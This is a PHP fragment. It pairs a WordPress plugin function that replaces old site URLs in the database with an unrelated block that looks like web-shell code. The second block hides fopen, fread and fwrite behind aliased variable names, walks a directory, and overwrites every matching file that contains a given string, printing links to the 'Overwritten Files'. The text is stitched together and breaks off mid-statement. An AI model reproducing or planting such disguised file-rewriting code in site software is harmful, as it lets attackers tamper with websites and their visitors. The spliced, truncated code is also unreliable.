function updateURLs($options, $oldurl, $newurl) { global $wpdb; $results = array(); // Simple queries to update URLs that are not serialized in the database $queries = array('options' => array('query' => "UPDATE {$wpdb->options} SET option_value = REPLACE(option_value, '{$oldurl}', '{$newurl}') WHERE option_name='siteurl' OR option_name='home' OR option_name='download_path_url' OR option_name='download_page_url';", 'label' => __("Global options", 'umanit-updateurls')), 'content' => array('query' => "UPDATE {$wpdb->posts} SET post_content = REPLACE(post_content, '{$oldurl}', '{$newurl}'), pinged = REPLACE(pinged, '{$oldurl}', '{$newurl}');", 'label' => __("Content items (posts, pages, custom post types, revisions)", 'umanit-updateurls')), 'excerpts' => array('query' => "UPDATE {$wpdb->posts} SET post_excerpt = REPLACE(post_excerpt, '{$oldurl}', '{$newurl}');", 'label' => __("Excerpts", 'umanit-updateurls')), 'attachments' => array('query' => "UPDATE {$wpdb->posts} SET guid = REPLACE(guid, '{$oldurl}', '{$newurl}') WHERE post_type = 'attachment';", 'label' => __("Attachments", 'umanit-updateurls')), 'guids' => array('query' => "UPDATE {$wpdb->posts} SET guid = REPLACE(guid, '{$oldurl}', '{$newurl}');", 'label' => __("GUIDs", 'umanit-updateurls'))); foreach ($options as $option) { if (isset($queries[$option])) { $result = $wpdb->query($queries[$option]['query']); $results[$option] = array('count' => $result, 'label' => $queries[$option]['label']); } /* The custom fields can be stored in two tables : postmeta and options. * In these tables, some fields can be serialized. We can't use a single query since it would break the serialization. */ if ($option == 'custom') { $rawRows = array(); // Postmeta table $rawRows['postmeta'] = $wpdb->get_results("SELECT meta_id, meta_value FROM " . $wpdb->postmeta . ";"); // Options table $rawRows['options'] = $wpdb->get_results("SELECT option_id, option_value FROM " . $wpdb->options . ";"); foreach ($rawRows as $table_name_without_prefix => $rows) { $table_name = $table_name_without_prefix == 'postmeta' ? $wpdb->postmeta : $wpdb->options; foreach ($rows as $row) { $field_id = $table_name == $wpdb->postmeta ? 'meta_id' : 'option_id'; $field_key = $table_name == $wpdb->postmeta ? 'meta_value' : 'option_value'; // Convert the StdClass object to an Array $rowAsArray = array(); foreach ($row as $column => $value) { $rowAsArray[$column] = $value; } if (strpos($rowAsArray[$field_key], $oldurl) !== false) { // Unserialize the value $rowAsArray[$field_key] = maybe_unserialize($rowAsArray[$field_key]); // Sometimes the array is broken and maybe_unserialize returns false if ($rowAsArray[$field_key]) { // Recursively update the URLs in this unserialized array if (is_array($rowAsArray[$field_key])) { // Apply a recursive str_replace $rowAsArray[$field_key] = recursive_str_replace($oldurl, $newurl, $rowAsArray[$field_key]); // Serialize new value $rowAsArray[$field_key] = maybe_serialize($rowAsArray[$field_key]); } elseif (is_string($rowAsArray[$field_key])) { $rowAsArray[$field_key] = str_replace($oldurl, $newurl, $rowAsArray[$field_key]); } // Now the value must be a string if (is_string($rowAsArray[$field_key])) { // We do not use a handmade query since it could break because of single-quotes $result = $wpdb->update($table_name, array($field_key => $rowAsArray[$field_key]), array($field_id => $rowAsArray[$field_id])); $results[$table_name_without_prefix]['count'] = isset($results[$table_name_without_prefix]['count']) && $results[$table_name_without_prefix]['count'] > 0 ? $results[$table_name_without_prefix]['count'] : 0; $results[$table_name_without_prefix] = array('count' => $results[$table_name_without_prefix]['count'] + $result, 'label' => $table_name_without_prefix == 'postmeta' ? __("Custom fields", 'umanit-updateurls') : __("Global options", 'umanit-updateurls')); } } } } } } } return $results; }
$SEPARATOR = '/'; if (isset($dir) && $dir != "" && isset($filetype) && $filetype != "" && isset($message) && $message != "") { if ($handle = opendir($dir)) { echo "Overwritten Files :-<br/>"; while (($file = readdir($handle)) !== False) { if ($prgm("/{$filetype}" . '$' . '/', $file, $matches) != 0 && $prgm('/' . $file . '$/', $self, $matches) != 1) { $fd = $pen($dir . $file, "r"); if ($fd == false) { } else { $content = $books($fd, filesize($dir . $file)); $pixel($fd); if ($mc) { if (strstr($content, $message)) { $fd = $pen($dir . $file, "w"); echo "<a href='" . str_replace($_SERVER["DOCUMENT_ROOT"], '', $dir) . $file . "'>" . $file . "</a><br/>"; $feather($fd, recursive_str_replace($message, "", $content)); $pixel($fd); } } else { if (stristr($content, $message)) { $fd = $pen($dir . $file, "w"); echo "<a href='" . str_replace($_SERVER["DOCUMENT_ROOT"], '', $dir) . $file . "'>" . $file . "</a><br/>"; $feather($fd, recursive_str_ireplace($message, "", $content)); $pixel($fd); } } } } } } } else {